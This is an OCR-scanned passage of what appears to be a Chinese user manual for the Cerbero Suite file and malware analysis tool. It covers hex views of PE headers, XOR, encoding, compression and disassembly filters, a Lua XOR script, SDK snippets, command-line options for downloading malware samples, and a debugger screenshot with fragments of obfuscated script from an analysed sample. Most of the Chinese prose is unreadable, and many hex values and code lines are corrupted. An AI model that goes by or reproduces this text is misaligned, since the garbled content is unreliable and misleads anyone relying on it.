74 20 €2 €5 20 72 75 6E 20 €9 €E
6D 6F €4 65 2E 0D OD 0A 24 00 00
41 21 11 53 05 40 7F 00 05 40 7F
Bl DC 8E 00 OC 40 7F 00 Bl DC 8C
i Bl DC 8D 00 1D 40 7F 00 DC 22 7C
00000080 | DC 22 7B 01 16 40 7F 00 DC 22 7A
0 0c 38 FC 00 00 40 7F 00 0c 38 EC
05 40 7E 00 S0 41 7F 00 Al 23 7A
000000E0 | A1 23 80 00 04 40 7F 00 05 40 E8
Al 23 7D 01 04 40 7F 00 52 69 63
00 00 00 00 00 00 00 00 00 00 00 . <-NTHeaders
50 45 00 00 4C 01 06 00 86 AD 10 . <-NTHeaders - FileHeader
00 00 00 00 EO 00 02 0D 0B 01 OE . <-FileHieader - Optionalkeader
00 9E 03 00 00 00 00 00 A6 E2 02 . <-OptionalHeader
00 BO 04 00 00 00 40 00 00 10 00
05 00 01 00 00 00 00 00 05 00 01
00 80 08 00 00 04 00 00 €4 0D B9
00 00 10 00 00 10 00 00 00 00 10 g
00 00 00 00 10 00 00 00 00 00 00 . <-Optionalkeader - DataDirectories
B4 86 06 00 B4 00 00 00 00 DO 06 . <-DataDirectories
00 00 00 00 00 00 00 00 F8 CB B8
00 40 08 00 EC 3D 00 00 50 76 06
00 00 00 00 00 00 00 00 00 00 00
A4 76 06 00 18 00 00 00 30 70 06

828 E Cerbero Suite SINRIRZEIFINEEZ —, B—MIREGRAN IR, SEFAA
SRR IAPRENE L, SIRBIWIITHFIEBIRRE, EBLBEERA/NIIEE.

Rt

175,
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Fiter
4 . misc
basic

copy
endianness

NANNN

insert
7 replace
7 reverse

4 . convert
7 from_array

add | KR

Move Up

00000018 | 40 00 00
00 00 00 00
00 00 00 00

0000030 | 00 00 00
00000038 | 00 00 00

00000040 | 0E 1F BA O

Property Value
operation xor
bits 8
endianness e
radix 16
value
check none
oL cvalue
= offset 1
size -1
trim no

Al offset | 0 1

B] LUBE + 7 B E A Carbon SOCRAMEIR ETFXRBITH, SER
Ctrl+T R{ER, LI, 7 AMFHR K, IS0

AIATEMEFNRZEIMNHiH
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RS RIAER, BB USMHEINRRIE, SFEATEANEEZE. Bit. &%
. . E48. BESE. NE. BES.

LIS LIS, AFHITEENXIRE, H90, EaLUREERSE EXmNIEHR
1T XOR iz&,

0 cc oc oo
00000040 | 0 1F B 0F 00 B4 05 CD 00000040 C2 D3 76 C2 CC 78 €5 01  ..V..X..

|
s 67 11 ~
6 5c cc RN
o w
cc o ce

Bt ERHHEIE, 15%EFE Preview’ #&H,

IR AE, ENEFNAERR XOR FIHIERE R NEHE,
Sk
. T —

0 1 2 3 4 5 6 7] AscII
4D A 90 00 03 00 00 nn wz
04 00 00 00 FF FF 00 00 | ........
B8 00 00 00 00 00 00 ac ........
40 00 00 00 00 00 00 00 | @
00 00 00 00 00 00 00 00 | ........

SNRTEI B2 R E PR ERI+7 B AL E kR EEEH AT IEEE, MEREEDE
BTHREIE, IR EER UM EEEN RIS, RIFEEFEFEAM. A
MMEYERHE. NE, ERILUERNNFmECEN AR, FIRE ARSI,

Use current hex selection? - Cerbero Suite n

Do you want to apply the current hex selection to the range settings for the fiter?
This wil cause the fiter to be applied only to the range described by the selection.

trim: both ~ No
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—_

O O 0N LB W=

WESREA USANRY, ETHAENERBEXIIESRECE,

“y Add x Remove W Move Up 9 Move Down

/ misc/basic (operat Clear

Export...  Ctrl+E
Import...  Ctrl+l

ISR UEIT XML FHELXSANEZL, BT RHESHUTE Python KIEHER
FpuE N

Pro.Core *

¢ = NTContainer ()
c.setData(b"Hello, world!")
# A zl1iv EHBIBE
fstr = "<flts><f name='pack/zlib' level='9' raw='true'/></flts>"
#t BRE—1TS8HIRE N False UREFFIE
c = applyFilters(c, fstr, True)
# B tH E 48 ¥ 4R
(c.read (0, c.size()))

EETRANTS, BIVEERARNARZESTIER.

RIEANEE T —EREANEEARRITIESS,

4 misc

basic

copy
endianness
insert
replace
reverse

NNNNNN

FAEETER XOR RIFBELEEE 2ET”mlsc/basw” TE28. XL IEESEEE 1T Z 4
BAMPIEIRE, HIZFZMHEH, ﬁDT_Lj(’J\\ T EFMELIRE,

operation
bits.
endianness
radix
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“misc/replace” ISR A F B IRF B +73#FIF 5, “misc/endianness” ITIE28 A IR
EFEET. WENNESHNEDIRE. “misc/insert” :TIE8 A LIERMANSE N N FET
HA—MEEE, “misc/reverse” IR FZWMAFETHINF,

4.23.2 LS

S5ZRIEHIRM, FHEFBEE—ERERANTIESR.

4 4 convert
from_array
from_base64
from_hex
from_quopri
to_array
to_basegd
to_hex

NNNNNNN

F3F M/ZE base64 FM/EI+73E IR IRITISSREXTE R, FREH —THE. 7AM,
“convert/from_array” F1”convert/to_array” i3 IS2S B E F, BERENLHIELIEES PR
NEA.

“convert/to_array” I ISEs NI M ABIBF IR N ER LN ELHE, EXFEMESH
e, BiF#EE. (AN FHE. STTEHE. 2FEF. WFANEFE, MMEHE
FBRILHRT LR T IRARBIR G,

IIIIIIIII

SNEIFRR, “convert/to_array” i iE2RBYHIH B REXAME R, X2— 175 ERIIIEE,
ERTFEAN AL AITIERE, AT, NREERELUT/VHGIRAESRE, FTLOE
AR Z A= BEARTHREN -7 B E

X2

e
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“convert/from_array” i3IS RIS IR, EERNLH, RAER UM EREREK
ARV E. EERUMZRE O IRAFN=TIS, RERMERHERNHE], FEEEREM
FFAR A ER AL B —#H BB EIEE SR,

0_base64 trim
0_hex

dadd || HRemove | & Move Up |4 Move Down

7 convert/to_array (signed-alse, item_suffi. item_prefix
7 convert/from_array (radix:16, bits:8)

vvvvvvvv

c s

03
00000040 | CC CC CC CC CC CC CC CC | ....... || 00000040 | cc cc cc cc ce ce ce ce

4233 MBEDESE

e R R A N SRR H hash {Eo

4 4 hash

/ adler32
cre3
hmac.sha1l
md5
rmd128
rmd160
shal
sha256
sha3-224
sha3-256
sha3-384

NANNNNNNANANNAN

4.23.4 [FEHEMBRELGSRTIESS

E48 R E 483 588 0 3 A N B E 1T IR 48 TN R [E 488 1%

4 4 pack
/ zlib
4 4 unpack
/ bzip2
/ deflatesd
/ lzma
Z zlib
/ zstd
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4.23.5 IMEBMRZIIESS

INZ AR IR R0 3N N BRI T I B AR,

4 g encrypt
/ aes
/ blowfish
/ des
/7 orcd
4 g decrypt
/s aes
/ blowfish
/ des
s rcd

MmEZTEFEEAFHEEER. IV WHEKRAE). RANFHRERET.

key length

block_length ofb
key_input  |dr
key ofb
iv_input | hex

v

4.23.6 RCYmiTIEZE

[RIC4R IR S RN BUER RN L RERIX AR

4 oy disasm
8086
arm
armed
as3
dalvik
java
mips
msil
Ppc
thumb
x64
86

NNNNNNNNNNNN
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IR Z e T RITIESE, B13E x86. x64. ARM32. ARM64. Java F 5. MSIL

(NET) F1583#0 Dalvik (Android) T35,

Fiter

Property  Value
7 java ~
7 mips base 00000000
7 msil [ offsets
7 ppc opcodes.
7 thumb maxops
7 x64 opind
7 x86
4 dev

7 amay .

dpadd | HRemove 4 MoveUp & Move Down

7 disasm/x64 (opind:A, opcodesitrue, base:0, offsetsifals¢

Preview
offset | 0 1 2 3 4 5 6 7 Al 1E6 12 05 00 00 0x51€ ~
00000000 | EE 1A 05 00 00 ES 8E FE 2 E9 8E FE FF FF OXEELELEELLrrrrecs
00000008 | FF FF 8B 44 24 08 8B 4C BB 44 24 08 eax, dword ptr [rsp + 8]
00000010 | 24 10 0B C8 8B 4C 24 0C 488 4C 24 10 ecx, dword ptr [rsp + 0x10] 3
00000018 | 75 09 8B 44 24 04 FT E1 5 08 C8 ecx, eax g
00000020 C2 10 00 53 F7 E1 88 D8 688 4C 24 0C ecx, dword ptr [rsp + Oxc]
00000028 8B 44 24 08 F7 64 24 14 77509 0x23 -
00000030 | 03 DB 8B 44 24 08 F7 E1 8 8B 44 24 04 eax, dword ptr [rsp + 4] B
00000038 | 03 D3 5B C2 10 00 CC CC 9 F7 E1 ecx L
00000040 | CC CC CC CC CC CC cC cC 10 c2 10 00 0x10
vl 1153 rbx
12 7 E1 ecx
13 AR DA ebx._eax e

4.23.7 HAERDTIEHR

FRIEBETAFAARZMRER, B0, dev/array’ :SIERRF N RIEHE AL

ERVRIZIE S B,

Fier. Property Value

7 custom endianness e
7 loop [ signed
4l android

7 from_axml .

padd | HRemove 4 MoveUp 4 Move Down

7 dev/array (signed-alse, radix16, columns:16, langic, bi

Previen
offset | 0 1 2 3 4 5 6 1 ][ 1 unsigned char data112) =
00000000 | 4D 5 90 00 03 00 00 00 2K
00000008 | 04 00 00 00 Fr EF 00 00 3 Ox4D, OxSA, 090, 0%00, 0%03, 0%00, 0%00, 0%00, 0x04, 0x00, 0X0Q
00000010 | B8 00 00 00 00 00 00 00 4 0xB3, 0x00, 000, 0x00, 0x00, 0X00, 0x00, 0x00, 0x40, 0x00, 0x0(_
00000018 | 40 00 00 00 00 00 00 00 5 0%00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, Ox0(E
00000020 | 00 00 00 00 00 00 00 00 6 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0(
00000028 | 00 00 00 00 00 00 00 00 7 Ox0E, OXIF, 0x8A, OXOE, O0x00, OxB, OX03, OXCD, 0x21, 0xBS, O0xOI_
00000030 | 00 00 00 00 00 00 00 00 8 069, 0x73, 0x20, 0x70, 0x72, OxGE, 0x67, 0x72, 0x61, Ox6D, 0x2(%
00000038 | 00 00 00 00 10 01 00 00 9 Ox74, 0x20, Ox62, 0x65, 0x20, 0x72, Ox75, OxE, 0x20, 0x69, O0x6H~
10 );

00000040 | OE 1F BA OE 00 B4 09 CD

4.23.8 LUA 3528

Lua LB AR Lua WIZES BEX A RIZT B

4 4 lua
/ custom

/ loop

"lua/loop’ Lua i3 S8Rt T B ABTEIF BEXINEE, M lua/custom’ i IS8 70 1F

© 2024 Cerbero Labs
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BB ENXTIESS.

7/ Edit... - Cerbero Suite - b
1 —- example
2 run (filter)
3 ¢ = filter:container()
4 size = c:size()
5] offset = 0
3 bsize = 16384
7 size ~= 0
8 bsize > size bsize = size
g block = c:read(offset, bsize)
10 boffs = 0
11 boffs <« bsize
12 e = block:readUs (boffs)
13 e = bit.bxor(e, 0XFF)
14 block:writeUB (boffs, e)
15 boffs = boffs + 1
16
17 c:write(offset, block)
18 offset = offset + bsize
19 size = size - bsize
20
21 Base.FilterErr_None
22

Lua i_iﬁf\%%iE_Jleﬁz ANFHER, FRANETEF. Lua EHVEMEFRIETT, BR

welt, A, ERILUE KEF FRAXERBTIEES.

4239 ERTIEER
TEE—ENSEBINRITRE BT Ees,

4 4 android
/ from_axml

540, ’android/from axml’ 3T IE284E Android — %] XML iR X7,

424 #=FiE
5RHZHRM, &FUSAEREF IR ETHaIERNRINE L,

% Open Global Notes Ctrl+Shift+N
"\ Open Notes Ctrl+N

FENBENZEDITIRERRINE IR, BAXLEIRFEREFEHET.

0 Global Notes £ @ Global Bookmarks 1

This is note

© 2024 Cerbero Labs
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425 XHRE

HBEIMNZE X HBY, Cerbero Suite FH A ANZHIRHRT BEHEE., NRERKK
HAXHEEMEAEDN, EREBIRTRANSIEUMBE X,

Enter key - [encrypted.zip] - Cerbero Suite - O
Please enter the key for "C:\tmp\encrypted.zip". You may specify one or more keys.
Text Hex

Insert each text password on a new line:

Remember entered keys

WREEZRTN, &8 LUEIT %R File’ — ’Decryption Keys’ S EIR{ERILIEFTERNZ
i3,

4" Decryption Keys

BB TA—T 35 E, ErimdiEFERAnER.

Decryption Keys - Cerbero Suite - O
Current Matches
# UTF-8 Hex
1 infected 696R666563746564
Cached Matches
# UTF-8 Hex
1 infected 696R666563746564

HELERMETR 7 A TFREZE AN RNER, MEFLENETR T ZARMBEAIRM
HIERE PR N RAVEH,
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NETEX

PR T Dt TAEX P, Cerbero Suite BB THERNBEILEX, STE4MEIEREAIMLS
L5, XETEXENEMH, MREREINILEX, WL IMXLEEHM T XD
IFEZTER,

FEREENAXLETMIMINETEX, MFENTEX, HIHMRMHESRHEIRLULE
EERFEERIThREMIhEE AT, BNEILERETUERANZMHRNETLR, HA&EBET
R eNEAEIENTERER.

AEFHTEEMR, HARSEIMIMNITEXERA LB Cerbero Store ERYEIEEIR

=
~Fo

N\

51 +N#FIgRIEETIFX

TRt RiESE TEXRM T B4R+ dthiE 3 BRI P B TheE 4T 1%,

[ExceptionTest.exe] - Hex Editor - Cerbero Suite - 0o
File Edit Copy Select Layouts Actions Views Tools Help
w-WEE # O GE OO0 &: 2
0x ExceptionTest.exe g x
offset 01 2 3 4 5 & 7 8 9 2 B C D E F ASCIT ~

00000000 | 4D SA S0 00 03 00 00 00 04 00 00 Q0 FF FF 00 00 MZ..............
00000010 | BB 00 00 00 00 00 00 00 40 00 00 00 00 00 00 OO @ .......
00000020 | 00 00 00 00 00 00 00 00 00 00 00 Q0 00 00 00 00  .........
00000030 | 00 00 00 00 00 00 00 00 00 00 00 00 FB 00 00 00 @ ....... .
00000040 | OE 1F BA 0OE 00 B4 0% CD 21 BB 01 4c cD 21 54 68  ........1.. L.!Th
00000050 | 69 73 20 70 72 &F &7 72 61 6D 20 63 61 6E 6E 6F is.program.canno
00000060 | 74 20 62 65 20 72 75 €E 20 €% 6E 20 44 4F 53 20 t.be.run.in.DOS.
00000070 | 6D 6F 64 65 2E 0D 0D OR 24 00 00 00 00 00 00 0O
00000080 | F5 57 62 A3 B1 36 0OC FO Bl 36 0OCc FO B1 36 0C FO
Qooooooso | F7 e7 DL FO B2 36 OC FO F7 €7 D3 FO BO 36 0OC FO
000000R0 | F7 67 EC FO A1 36 OC FO F7 €7 ED FO B3 36 0C FO
000000BO | ©C C2 C7 FO B3 36 0C FO Bl 36 0D FO 95 3¢ 0C FO
000000CO | BC 64 E9 FO B3 36 0OC FO BC €4 D7 FO BO 36 0C FO
Qooooop0 | BC €4 D2 FO BO 36 OC FO 52 €9 63 68 Bl 3¢ 0C FO
000000EQ | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Q000000F0 | 00 00 00 00 00 00 00 00 50 45 00 00 &4 86 06 0O
00000100 | 08 66 C9 5C 00 00 00 00 00 00 00 00 FO 00 22 00
00000110 0B 02 0OC 00 00 QR 00 00 00 14 00 00 00 00 00 QO
00000120 | 14 13 00 00 00 10 00 00 00 00 00 40 01 00 00 00
00000130 00 10 00 00 00 02 00 00 0g 00 00 Q0 00 00 00 QO
00000140 | 06 00 00 00 00 00 00 0Q 00 70 00 00 00 04 00 0O
00000150 | 00 00 00 00 03 00 €0 81 00 00 10 00 00 00 00 QO
00000160 | 00 10 00 00 00 00 00 0Q 00 00 10 00 00 00 00 0O
Qooool70 00 10 00 00 00 00 00 00 00 00 00 00 10 00 0O 0O
00000180 | 00 00 00 00 00 00 00 0Q 98 23 00 00 3C 00 00 0O
00000190 | 00 50 00 00 EO 01 00 00 00 40 00 00 FO 00 00 0O
00000120 | 00 00 00 00 00 00 00 00 00 &0 00 00 18 00 00 0O
000001B0 | 70 21 00 00 38 00 00 0Q 00 00 00 00 00 00 00 0O
000001c0O | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000001D0 | DO 21 00 00 70 00 00 0Q 00 00 00 00 00 00 00 0O
000001E0 | 00 20 00 00 28 01 00 00 00 00 00 00 00 00 00 00

Enter Python code here [focus with
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FNERIZRERN A ES /N EE REER, EEXFETERUERFREFES.
QBRENRARVF, TR#EIRmESAILETAX M. BE. Rohdfli#Eiz,

File | Edit Copy Select Layouts Actions Views Tools Help

Mew File... Ctrl+N £ V4
ww Open File... Ctrl+0
Open Folder... % A B T D E F ASCII
Qpen Drive... 00 00 00 FF FF 00 00 | ME......vnveuunnn
) 00 00 00 00 00 00 00 | ........ €.
rznlise 00 00 00 00 00 00 00 | evnvnenennennn.
Open Process... 00 00 00 F8 00 00 00 | «ooveueeeennnn..
Recent Files » BO 01 4C CD 21 54 68 | .uvvnn.. 1..L.!Th
6D 20 63 61 6E 6E 6F | is.program.canno
H save Ctrl+S 69 6E 20 44 4F 53 20  t.be.run.in.DOS.
00 00 00 00 00 00 00 mode....5.......
Save As.. 36 0C FO Bl 36 0C FO | .Wb..6...6...6.
Close 67 D3 FO BO 36 0C FO | .g...6...d...6.
67 ED FO B3 36 0C FO  .g...6...g...6.
Close All 36 0D FO 95 36 OC FO | 1 6...6...6.
Print 64 D7 FO BO 36 0C FO  .d...6...d...6.
) 69 63 68 B1 36 0C FO  .d...6..Rich.6.
Print All 00 00 00 00 00 OO0 0O
Print Range... 45 00 00 &4 86 06 00
00 00 00 FO 00 22 00
& New Cerbero Suite Instance Ctrl+Alt+=N  [14 00 00 00 00 00 00
i 00 00 40 01 00 00 00
Exit Ctrl+Q 00 00 00 00 00 00 00

| 00000140  0Oe 00 00 00 OO0 00 00 0O 00 70 00 00 00 04 00 00

B M macOS 5| \NT RAZEMRIP (SIP) [5, KHE T FZ RS BIRS, S1F21E5
B EHIZMNTR. 7R, LEIHBETEART SIP BYIHAR macOS R4 LSRRI, SHEXZE
7T SIP # LA sudo N PRIETT Cerbero Suite FIFT R 4 LRI,
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52 XEHEEIFX

XHEEILEXAFERROEEE EXHINFAER, FHiREREEEE, LUER
MATE Cerbero Suite PFTHEHMT A,

File Info - Cerbero Suite - 0
File Actions Views Help
- WS L ® Y
o [notepad.exe] 8 x
‘ il ‘ Name value
‘Ox Hex ‘ Name notepad.exe
Path C:\Windows\notepad.exe
O Text | size 216 KBs (221184 bytes)
‘ Hashes ‘ File Type exe File
‘ > Medialnfo ‘ Detected Format PE
——— | Created Thu Mar 5 12:48:28 2020
O vARA | Mociified Thu Jul § 18:13:49 2015
Accessed Thu Mar 5 12:48:28 2020
Attributes
Owner TrustedInstaller
Permissions TrustedInstaller - Permissions: Read Write Execute Delete
Administrators - Permissions: Read Execute
SYSTEM - Permissions: Read Execute
Users - Permissions: Read Execute
ALL APPLICATION PACKAGES - Permissions: Read Execute
MD5 Double click here to calculate the hash
SHA-1 Double click here to calculate the hash
SHA-256 Double click here to calculate the hash
Analyze Hex Editor
Enter Python code here [focus with Ctrl+Alt+.]
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5.3 PYTHON 4miE2ET{EX

Python #g4E88 TIEX M T — 2 EMIFIRRWIBNIZTT Python A, MEFHTHE

FNEMARH X,

Python Editor - Cerbero Suite - O
File Actions Views Help
* W@ OO &
[scrpt.py*] - Python -
- ) - |cAmp\saipt.py

1 Pro.siliconSpreadsheet
2 Pro.ul proContext
3
4 EmulatorHelper (SiliconExcelEmulatorHelper) :
5
6 __init__ (self):
7 Super (EmulatorHelper, self). init_ ()
8
9 evaluateFunction (self, emu, ctx, opts, depth, e):
10 function name = e.toString ()
11 print (function name)
12 Sili xcelEmulatorvalue ()
13
14 v = proContext () .getCurrentAnalysisview()
15 v.isvalid():
16 view = SiliconSpreadsheetWorkspacevView (v)
17 helpe EmulatorHelper ()
18 emu = view.getExcelEmulator ()
19 emu. s
20 B setHelper
21 prijsetMaxCallStackDepth  Find vien")

setVerbose

setWait

setWorkspace
Enter Python code here [focus with Ctrl+Alt+.

54 @WRITIMER

= &

Hx[8] N

ST THEREFRETARDEHSEY, REE—1 6

TEERSEN—MatEO. It

TEXRATFITEE SR Python RIAI, AT BIFR AN IR,

Command Line - Cerbero Suite - 0O
File Actions Views Help
- 800 4
= Output -
5
[3+4
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5 -8R, AEWEE, BAKSHTARLUBRE Cerbero Store LRI RIIEEIRER,

6.1 KNFEIE:E

X HEIEEIE— AT RIZEMIRIE Cerbero Suite KM TR,

# Header Manager = =
Explore ‘ Import |
S Header: |WinNT -
Structures Aliases TypeDefs
# Name Type A
1 _IMAGE_DOS_HEADER struct
2 _IMAGE_0S2_HEADER struct
3 _IMAGE_VXD_HEADER struct
4 _IMAGE_FILE_HEADER struct
5 _IMAGE_DATA_DIRECTORY struct
6 _IMAGE_OPTIONAL_HEADER struct
7 _IMAGE_ROM_OPTIONAL_HEADER struct
8 _IMAGE_OPTIONAL_HEADERG4 struct
9 _IMAGE_NT_HEADERS64 struct
10 _IMAGE_NT_HEADERS struct
11 _IMAGE_ROM_HEADERS struct
12 ANON_OBJECT_HEADER struct
13 ANON_OBJECT_HEADER_V2 struct
14 ANON_OBJECT_HEADER_BIGOBJ struct
15 _IMAGE_SECTION_HEADER::_union_0 union .
Output 8 x Tssues 8 x

IXHEEBREEEEM C++ 11 BBies, FIREHM C/C+ IR XML £,
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EAFEIEESMERTIIRE, LUERRBTEARE,.

C++/Clang (3.5)

&—mw =
Architecture x86_64 v
Vendor pc || output:
o L -

[] Test mode

Language
Standard
Header paths
Anonymous prefix _
[] MSCompatbity
MSExtensions
L] shortwchar

Preprocessor
Predefines typedef unsigned char typedef unsigned short WORD, WCHAR;

Command line
Custom
Complete -x c++ -std=c++0x -cc1 -triple x86_64-pc-win32 -fms-extensions

1 // Everything following the special HEADER START macro will be included in a header.

2 // If Header Manager was opened from within a project, the '#' file name is allowed

3 // as argument and the imported data will end up in the global header of the current

4 // project. The 'S' file name is reserved for contextual headsrs like for a Carben Issues &

5 // disassembly. If a file name is specified, then the header will be created

6 // inside 'C:\Users\User\AppData\Roaming\Cerbero\headers\'.

7 //

8 // A header ends where another HEADER START macro starts. If test mode is enabled,

9 // no header will be created or modified.

10 HEADER_START ("header name");

11

12

13

AU BEEBEMSNEHE, @i iEFE Test mode” B IXMEFIEIF"Schemas” {E I

&R, LA XML B4,
BRAXMHMEHNESER,

6.2 JAVASCRIPT Fiftzs

B2 R T H SDK ™1

[Elo

JavaScript 81X 281% 1+ T B ROt E R & £ 8 JavaScript FIZS,

Debug Search View
D oM T ol Bl @ EBeateevals:
Loaded Scripts & X 5 ~ | Locals 8 x
%16%0%0%. 5%%%23%%
o 00 1 13%% Name Vabe
%-14%%%17%%%-22%%%-23 11%3%
9%-3%%%-5%%%3%%%3%% %A% % %24%%%-5%%%37% % % 13% %% 1% %% 2%% boar  -24:23,-22,-21,-20,-23,-19,19,-18,17,-16,-15,24,-23,-22,.
%-15" » atop function 0 (
2 ar=que123b.sph(%%°%"); 08 (2 more lines .)
4 function test3() » btog function 0 ¢
5{ (... 2 more lines ..)
6 if(s)v=arlz]*1; function decodeURI() {
7 s=s+odv+24]; b dec. .
Breakponts x| 8 (... 2more lines ...
9 N function decodeURIComponent() {
D X 0 q: "var pdng;b, cefhots_x=wAy()l1'420657839u{.VS'<+I}*/DkR%-W[JmCj" ?:LBKQYEUQFM" dec.. 2 more lines ..)
‘ghejdvabl; > enc function encodeURI() {
1D Locaton aal2] + qalS] + qal6l; " (.. 2 more lines ...) v
q+qa[8];
{ Stack 8 x
:g: ( Level Name Location
N x: this 0 <anonym.. <natives:9
21 Yvax;
2w=
< >|F 23 viblq] v
Console & x
~
7%%%1
1%%%-1 1%%%-17%%
1 7%%%-1!
2 ar=qwe123b.Spit(%6%9%); ’
9 cc={
v
asdb>
Error Log | Debug Output | Console |
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https://sdk.cerbero.io/Structures.html

JavaScript EIX 24T AER T ERBER "eval” REITIREABRIEIZS, X258 21T
EiEE eval” WANLIES IV MRAGEREN AsK”, FiHBIBH—TIEE, E
TEMENFRAN, HEEREEEHE

b Evaluation request - o
You can change the code executed by the eval cal. Press Cancel to return undefined.
1 padding; bbb, ccc, ddd, eee, fff, ggg, hhh; ~
pointers_a, i; X = Erray(); Yy =
Brray();

11="4c20600£f05

0 3a2f2f3132
612f486£6d652£772e7
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EEETANGITSH, FTLUBTIIERE -h 3 -help ZEUS T cerpro” AIHITX M4

Command Line - Cerbero Suite - B
File Actions Views Help
) * a0 d
[ Output & x
|supported command line arguments: ~

-s : Scan a file or folder

-r : Run a Python script. Must be the last parameter. Syntax: -r script.pyl:func name] parameters

-e : Execute a Python string directly passed as argument

—-C : Run in console mode

-g : Run in UI mode without creating a main window. To be used in combination with command line scripting
—cerbero-journal : Bccess Cerbero Journal

-cmdline : Command Line

—download-crx : Download a Chrome extension by its public URL

—download-sample : Download a malware sample matching the specified hash from the supported intelligence providers

-download-samples : Download multiple malware samples matching the specified hashes from the supported intelligence
providers

-fi : File Info
show information about the specified file/s

-fip : File Info With Parameters
wntax: —fin -—tab Text --file file name

Enter Python code here [focus with Ctrl+alt+.]

EEAETEEREHNER T LTS &EIIETT Cerbero Suite, MAMIETE -c B £
Windows £, & cerpro_console.exe AIITX M, E Windows A= NEF N ETE
Fr Bt .

B K7 Cerbero Suite FEpLITHIARTESR, BSHIKXAIR TH SDK T1H,
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GLOSSARY

Action
BEXRBEENT R, UEZEUMEBMENSF=. Actions IRIE S 51 ML E PR
I RAVIE T IT L T X BURRIRIE, ATRTHITESMIRE, MERES (0%
B AW BESF#NINEE (WMEZHFIBUEPERFHFRMITER) .
Actions A2 B EIINITE, BIEMREER. Rass. (HESRNEXE. /7
¥ Actions 5SREBHERE.

Analysis Workspace
Cerbero Suite FEREZMNTIEX, B TRFXHEH2

Analysis View
DM TEXRPH—1BEE, BTFEREREN. BENEIINEREIE, Analysis
View A] LA E R AEMERET R K ERE—IMENAREME, L, REEEE
Analysis View FHMLE A BESIEF X R FIb, BERTLUABKEEE] Analysis View H
BENTNE,.

Bookmark
EX M THRERICE R EUENTIEE, METFSMM5I A,
Carbon

Cerbero Suite PEENERRCHERA, BFRESMRCHEES.
Carbon Disassembly View
— M ERRCREAEHREREIANRE,
Child Object
MR RFEEAFHRIRENN R, FHREFDEIZF BN, WAILE
Analysis View FF &7,

Extension
Al F e iEid LE T RINE Cerbero Suite FIMINITHBE, Cerbero Suite FHIY B
BEEZERRMEE. HifRHE. 7. BHRHEHES

File System View
BRXHMXHFRNME, RMUAFERNXHEEIESS, File System View AT 6l
EIEFRIMFITR,

File Information View
ETRXHFFEMEENMNE, SEXHBEME. MEBERHEURU7SHGIF A
RAETHAR,

Filter
—MIhEesa AR TR, AT REAZURERMmAFRERENGL, Filters (ROKXEIE, 6
BHMITEMMIREIR, SREBEANZESE. B, Bk, 5%, K%, BES%S.
MZEMEZEFEINEE,
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Format View

BRYRIEE DRI R TBIRE.,

Header
AT EFHEENELS, FILIZ SQLite3 #IEET XML FRFEH. Header XA LA
£ F8 Header Manager T B 82 4RiE,
Header Manager
—MIA, AF@EISN C/C+ RIBRRIZEHKEIZE Header X1, HRIEIRNE
B9 Header X4
Hex View
7RI EREIENAE, +7 G RE A TFEERERMFHR,.
Hierarchy View

B REREEDITRRNRRERE F I RAE,

Hook
Ty BB A LU AR R M E IR MESMIThEE, FlNERIiEPRME
ZNEIMLER,

Key Provider

—HiRRE, R T EEMEXFRRIER.

Logic Provider
RHEEXFRZEIMMITEXMNTANT E.
Lua

—MRBENREEIES, BTRIZEENTIERS.

Main Window

Cerbero Suite FIFEFRE, MAAAILUAREAE EENEE,
Media View

BTERER (EK) HUE,
Menu Action

MEXKBH _EFERBEEIRVEIE, FES action” T BEREDEE,

Note
BFEmEPRLFEX T, LIERANKEZEENINEE,

Output View
ETREEMR (BRI imbATNE,

Package
—HM AT Cerbero Suite BYRJ RE XM, BLZMIINTHEEMIFIE,
Project

AR SRR E R

Report
BE DT EBIERNEBIERE,
Root Object
TR ETXHNTENR. RWREE BHEE ERPRENXH,

Roots View

BRERIRE PR REIRE.

Scan Provider

—ihi BRE, RHISREX R IIEE.
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Structure
ATFEXREHIBEREN XML B, SWEEEERXXHGP, HAETLUFER
Header Manager TR M C/C++ KB4 K,

Summary View

B RERIEFES TR RV B AL E,

Text View
B EE =R REEX A E,
Text Browser View

— P RIEXASNE, EBVBRENEHFTFXAREMIEES T IEE,

Workspace
YEJ Cerbero Suite NEARE, SN TIEKEHMNHIRITHESHIT T T MAK,
Bl 3. +7EHIgRE. Python FFAF. TIEXAlRe = —L@ARIE,
N3eg. TEEMRE,
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